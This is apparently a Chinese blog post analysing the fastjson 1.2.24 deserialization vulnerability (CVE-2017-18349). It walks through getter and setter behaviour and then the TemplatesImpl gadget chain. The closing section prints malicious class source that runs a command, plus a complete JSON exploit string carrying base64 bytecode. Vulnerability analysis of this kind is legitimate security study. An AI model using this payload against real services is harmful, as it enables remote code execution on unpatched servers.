Fastjson TemplatesImpl反序列化漏洞分析

Preface

CVE-2017-18349 是 fastjson 在 1.2.24 及之前版本存在的反序列化漏洞。fastjson 通过 @type 指定反序列化的任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。

前置知识

我们目前已经知道这是一个反序列化的漏洞,那么我们首先要了解一些关于Fastjson序列化与反序列化的前置知识。

序列化的细节

fastjson提供了 JSON.toJSONString(jsonString) 来帮助我们将对象序列化为 json 字符串,我们编写以下测试类对序列化的过程进行分析。

 package org.example;
 ​
 import java.util.Properties;
 ​
 public class User{
     private String name1; // 同时拥有getter与setter
     private String name2; // 仅拥有getter
     private String name3; // 仅拥有setter
     private String name4; // 没有方法
 ​
     public String nickName1; // 同时拥有getter与setter
     public String nickName2; // 仅拥有getter
     public String nickName3; // 仅拥有setter
     public String nickName4; // 没有方法
 ​
     private Properties userProp1; // 同时拥有getter与setter
     private Properties userProp2; // 仅拥有getter
     private Properties userProp3; // 仅拥有setter
     private Properties userProp4; // 没有方法
 ​
     public Properties userTempProp1; // 同时拥有getter与setter
     public Properties userTempProp2; // 仅拥有getter
     public Properties userTempProp3; // 仅拥有setter
     public Properties userTempProp4; // 没有方法
 ​
     public User(){
         this.name1 = "Richard_1";
         this.name2 = "Richard_2";
         this.name3 = "Richard_3";
         this.name4 = "Richard_4";
 ​
         this.nickName1 = "RichardLuo_1";
         this.nickName2 = "RichardLuo_2";
         this.nickName3 = "RichardLuo_3";
         this.nickName4 = "RichardLuo_4";
 ​
         userProp1 = new Properties();
         userProp2 = new Properties();
         userProp3 = new Properties();
         userProp4 = new Properties();
 ​
         userProp1.put("name1", this.name1);
         userProp2.put("name2", this.name2);
         userProp3.put("name3", this.name3);
         userProp4.put("name4", this.name4);
 ​
         userTempProp1 = new Properties();
         userTempProp2 = new Properties();
         userTempProp3 = new Properties();
         userTempProp4 = new Properties();
 ​
         userTempProp1.put("nickName1", this.nickName1);
         userTempProp2.put("nickName2", this.nickName2);
         userTempProp3.put("nickName3", this.nickName3);
         userTempProp4.put("nickName4", this.nickName4);
 ​
         System.out.println("User init() is called");
 ​
    }
 ​
     // 定义getter方法
     public String getName1(){
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         return this.name1;
    }
 ​
     public String getName2(){
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         return this.name2;
    }
 ​
     public String getNickName1(){
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         return this.nickName1;
    }
 ​
     public String getNickName2(){
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         return this.nickName2;
    }
 ​
     public Properties getUserProp1(){
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         return this.userProp1;
    }
 ​
     public Properties getUserProp2(){
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         return this.userProp2;
    }
 ​
     public Properties getUserTempProp1(){
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         return this.userTempProp1;
    }
 ​
     public Properties getUserTempProp2(){
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         return this.userTempProp2;
    }
 ​
     // 定义setter方法
 ​
     public void setName1(String name) {
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         this.name1 = name;
    }
 ​
     public void setName3(String name) {
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         this.name3 = name;
    }
 ​
     public void setNickName1(String name) {
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         this.nickName1 = name;
    }
 ​
     public void setNickName3(String name) {
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         this.nickName3 = name;
    }
 ​
     public void setUserProp1(Properties userProp) {
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         this.userProp1 = userProp;
    }
 ​
     public void setUserProp3(Properties userProp) {
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         this.userProp3 = userProp;
    }
 ​
     public void setUserTempProp1(Properties tempUserProp) {
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         this.userTempProp1 = tempUserProp;
    }
 ​
     public void setUserTempProp3(Properties tempUserProp) {
         String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
         System.out.println(methodName + "() is called");
         this.userTempProp3 = tempUserProp;
    }
     
     public void resultReport(){
         System.out.println(this.name1);
         System.out.println(this.name2);
         System.out.println(this.name3);
         System.out.println(this.name4);
         System.out.println(this.nickName1);
         System.out.println(this.nickName2);
         System.out.println(this.nickName3);
         System.out.println(this.nickName4);
         System.out.println(this.userProp1);
         System.out.println(this.userProp2);
         System.out.println(this.userProp3);
         System.out.println(this.userProp4);
         System.out.println(this.userTempProp1);
         System.out.println(this.userTempProp2);
         System.out.println(this.userTempProp3);
         System.out.println(this.userTempProp4);
    }
 }
 ​

以上测试类,包含了 Public 与 Private 的 String 和 Properties 属性,还设置了不同的 setter 与 getter 方法。

通过下面的方式进行调用。

 package org.example;
 ​
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.serializer.SerializerFeature;
 ​
 public class FastJsonTest {
 ​
     public static void main(String[] args) {
         User user = new User();
         System.out.println("===========================");
         String jsonstr_a = JSON.toJSONString(user, SerializerFeature.PrettyFormat, SerializerFeature.WriteClassName);
         System.out.println(jsonstr_a);
    }
 }

下为运行结果。

根据结果,我们发现 fastjson 在序列化的过程中,会调用类的 getter 方法,被 private 修饰且没有 getter 方法的属性将不会被序列化,被 public 修饰的属性都会被序列化,且序列化的结果是标准的 JSON 字符串。

上面的方法是非自省的,也就是在序列化完成之后得出的 json 字符串是无法知道它属于什么对象的。但 fastjson 是支持自省的,在序列化时传入类型信息 SerializerFeature.WriteClassName,可以得到能表明对象类型的 json 文本。JSON.toJSONString(jsonString, SerializerFeature.WriteClassName);

执行结果如下,在 json 的字段名中,多出了 @type 字段,用于指定反序列化的目标对象的类,fastjson 的漏洞就是因为这个而引起的。

反序列化的细节

fastjson 提供了 JSON.parse()JSON.parseObject() 来反序列化 json 字符串。

我们先来看看非自省的 JSON.parseObject(String text, Class<t> clazz)。我们需要修改一部分源代码,将 User 类中的无参构造方法修改为空。public User(){},然后再准备 json 字符串进行反序列化。运行结果如下。

我们发现没有 setter 方法的 private 修饰的属性是没有被反序列化成功的。

JSON.parseObject(jsonString)支持自省的反序列化。修改 json 字符串为携带@type的 json 字符串。

从运行结果看,在反序列化的过程中,其调用了所有的 getter 和 setter 方法。

实际上 JSON.parseObject() 其内部是调用的 JSON.parse() 进行反序列化的,因此 JSON.parse() 也可以进行反序列化,只不过其返回的是 Object 对象,而不是 JSONObject,parse方法对getter/setter方法的调用和非自省方法的调用一致,也恰恰由于是JSON.parseObject() 返回 JSONObject 因此它会额外调用一次 JSON.toJSON() 方法将 Object 对象转化为 JSONObject 对象,因此会遍历所有类中所有的 getter 和 setter 方法。

Feature.SupportNonPublicField

在前文的非自省反序列化中,我们无法为没有 setter 方法的 private 修饰的成员进行赋值,但是通过 Feature.SupportNonPublicField 我们可以完成赋值。

byte[]

fastjson 在序列化与反序列化byte[]类型的成员时,将会把其内容进行base64的编码与解码,我们来看下面这个demo。

 package org.example;
 ​
 import com.alibaba.fastjson.JSON;
 ​
 public class FastJsonBytes {
     public static class User{
         public byte[] sendName;
         public String user_Name;
 ​
         public User(){
             this.user_Name = "Richard";
             this.sendName = user_Name.getBytes();
        }
 ​
         public byte[] getSendName() {
             String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
             System.out.println(methodName + "() is called");
             return sendName;
        }
 ​
         public void setSendName(byte[] sendName) {
             String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
             System.out.println(methodName + "() is called");
             this.sendName = sendName;
        }
 ​
         public String getUserName() {
             String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
             System.out.println(methodName + "() is called");
             return user_Name;
        }
 ​
         public void setUserName(String user_Name) {
             String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
             System.out.println(methodName + "() is called");
             this.user_Name = user_Name;
        }
 ​
         public void resultReport(){
             System.out.println(new String(this.sendName));
        }
    }
     public static void main(String[] args) {
         User richard = new User();
         String jsonstr = JSON.toJSONString(richard);
         System.out.println(jsonstr);
         User user = JSON.parseObject(jsonstr, User.class);
         user.resultReport();
    }
 }

下为运行结果。即使我们的属性名为 user_Name ,其 getter 与 setter 方法为getUserName,fastjson 依然能够调用其方法。

fastjson 使用 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 来进行方法名的查找。其会将忽略 _- 字符,在后续的漏洞利用中,我们可以使用它们来进行组合绕过等操作。

结论

根据几种输出的结果,可以得到每种调用方式的特点:

  • parseObject(String text, Class<T> clazz) ,构造方法 + setter + 满足条件额外的 getter
  • parseObject(String text),构造方法 + setter + getter + 满足条件额外的 getter
  • parse(String text),构造方法 + setter + 满足条件额外的 getter

fastjson 会使用 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 来查找类中的方法,其会将忽略 _- 字符,在后续的漏洞利用中,我们可以使用它们来进行组合绕过等操作。

fastjson 将对会 byte[] 类型的成员进行 base64 的编解码操作。

漏洞分析

那么通过上面的分析,我们知道了 fastjson 在反序列化和序列化的过程中会按照一定规则调用类中的 getter 与 setter 方法,那么如果一个类中存在恶意的 setter 或 getter 方法,我们就能触发其恶意方法了。而我们又能通过 @type 修饰符来表明反序列化的目标对象类和注入恶意参数,若这个类中的方法存在利用点,我们就可以完成漏洞利用了。

问题出现在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类,该类实现了 Serializable 接口(Serializable接口没有需要实现的方法,它仅作为一个标记接口存在),因此该类可以被序列化。类中大多数的属性均为 private 修饰的属性。

我们先来看类中的 getTransletInstance() 方法,_class是一个 Class 类型的数组,数组下标为 _transletIndex 的类会通过 newInstance() 实例化并将其强制类型转换为 AbstractTranslet 类型。

这里的 .getConstructor() 就涉及到前文提到过的 Java 反射了。在实例化的过程中,会反射调用类的构造方法进行实例化。

在类中 newTransformer() 方法调用了 getTransletInstance() 方法,而 getOutputProperties() 调用了 newTransformer() 方法。而 getOutputProperties() 正是 _outputProperties 的 getter 方法。

那么我们需在就需要知道如何将 _class[_transetIndex] 的这个对象注入为我们的恶意对象,在 getTransletInstance() 方法中,存在 defineTransletClasses() 方法。从下图中我们还能发现,若 _name 为空,则直接返回 null 了。

我们来看看这个方法的逻辑。首先 _bytecodes属性不能为空。

_class 将会通过自定义 classloader 加载 _bytecodes 中的类。如果 _bytecodes 的父类为 ABSTRACT_TRANSLET 那么就将 _transletIndex 赋值为计数器,否则就抛出异常。而 _bytecodes 一样为类中的属性。

那么我们就可以梳理出一条调用链。

 getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> newInstance()

那么要触发这个漏洞,我们需要构造一个反序列化为TemplatesImpl类的 json 字符串,_bytecodes 为父类为 AbstractTranslet 的恶意类字节码,这个类最终会被加载构造方法并实例化。

fastjson 在这个过程中由于其反序列化触发 getter 的特性调用了上述调用链,并将 json 字符串中的恶意字节码反序列化注入为类的属性从而触发了漏洞。

恶意类如下,使用 Java1.8 进行编译后进行base64编码,获得恶意类字节码。

 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 ​
 import java.io.IOException;
 public class FastJsonTemplatesImpl extends AbstractTranslet {
     public FastJsonTemplatesImpl() throws IOException {
         Runtime.getRuntime().exec("calc");
    }
 ​
     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 ​
    }
 ​
     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 ​
    }
 }

EXP如下。

 package org.example;
 ​
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 import com.alibaba.fastjson.parser.Feature;
 ​
 public class FastJsonTemplatesImplExploit {
     public static void main(String[] args) {
         String exploitJsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABpGYXN0SnNvblRlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABVGYXN0SnNvblRlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS\"],\"_name\":\"Richardluo\",\"_tfactory\":{},\"_outputProperties\":{},}";
         JSONObject temp = JSON.parseObject(exploitJsonString, Feature.SupportNonPublicField);
    }
 }
  • _tfactory : defineTransletClasses() 中会调用其 getExternalExtensionsMap() 方法,为 null 会出现异常。
  • _name : defineTransletClasses() 方法中会检查该属性,若为空会直接终止反序列化链。
  • _outputProperties : 用于触发其 getter 方法,触发整个反序列化链。
  • _bytecodes : 用于存储恶意类字节码。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇